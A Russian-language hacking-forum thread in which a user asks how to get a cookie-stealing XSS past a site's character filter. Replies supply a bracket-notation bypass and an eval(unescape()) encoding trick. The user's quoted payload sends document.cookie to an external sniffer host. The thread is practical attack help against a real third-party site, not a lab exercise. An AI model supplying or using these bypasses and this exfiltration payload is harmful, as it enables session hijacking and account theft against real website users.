HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Перезагрузить страницу Сложность с Пассивной XSS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 18.01.2012, 15:56
Jake _Gr33n
Новичок
Регистрация: 07.05.2011
Сообщений: 6
Провел на форуме:
2296

Репутация: 0
По умолчанию
Вообщем ситуация такая...

Есть один сайт с полем ввода данных, это поле не фильтрует запросы и передаёт эти запросы на второй сайт, где правильно составленный запрос выполняется в виде скрипта.

Проблема в том, что запрос передаётся в поле, с очень жёсткой фильтрацией символов, и кроме как алерта с простым текстом ни чего сделать не выходит.

Кароче:

alert("XSS") - выполняется

alert(document.cookie) - не выполняется, потому что там есть точка.

В чём дело, бро? Как это порешать?
 
Ответить с цитированием

  #2  
Старый 18.01.2012, 16:09
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме:
2485155

Репутация: 719
По умолчанию
покажи (ПМ если хочешь)
 
Ответить с цитированием

  #3  
Старый 18.01.2012, 16:23
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию
Цитата:
Сообщение от Uex Urgent  
Uex Urgent said:
покажи (ПМ если хочешь)
alert(document["cookie"])

UDP: Легче всё зашифровать, так как точи в доменах и т. п. Тоже будут резаться.
 
Ответить с цитированием

  #4  
Старый 18.01.2012, 16:39
Jake _Gr33n
Новичок
Регистрация: 07.05.2011
Сообщений: 6
Провел на форуме:
2296

Репутация: 0
По умолчанию
Цитата:
Сообщение от XAMEHA  
alert(document["cookie"])
Выводит!

А как теперь присобочить стандартное:

img = new Image(); img.src = "http://sniffer.site.ru/blablabls.gif?"+document.cookie;

?
 
Ответить с цитированием

  #5  
Старый 18.01.2012, 16:44
Jake _Gr33n
Новичок
Регистрация: 07.05.2011
Сообщений: 6
Провел на форуме:
2296

Репутация: 0
По умолчанию
Да, я глупый скриптикидди. Но ничего деструктивного делать я не собираюсь, спортивный интерес + новые знания
 
Ответить с цитированием

  #6  
Старый 18.01.2012, 16:55
Boolean
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
Провел на форуме:
40748

Репутация: 78
По умолчанию
URL-кодируешь весь свой скрипт и запихиваешь его в

eval(unescape('script encoded'))
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.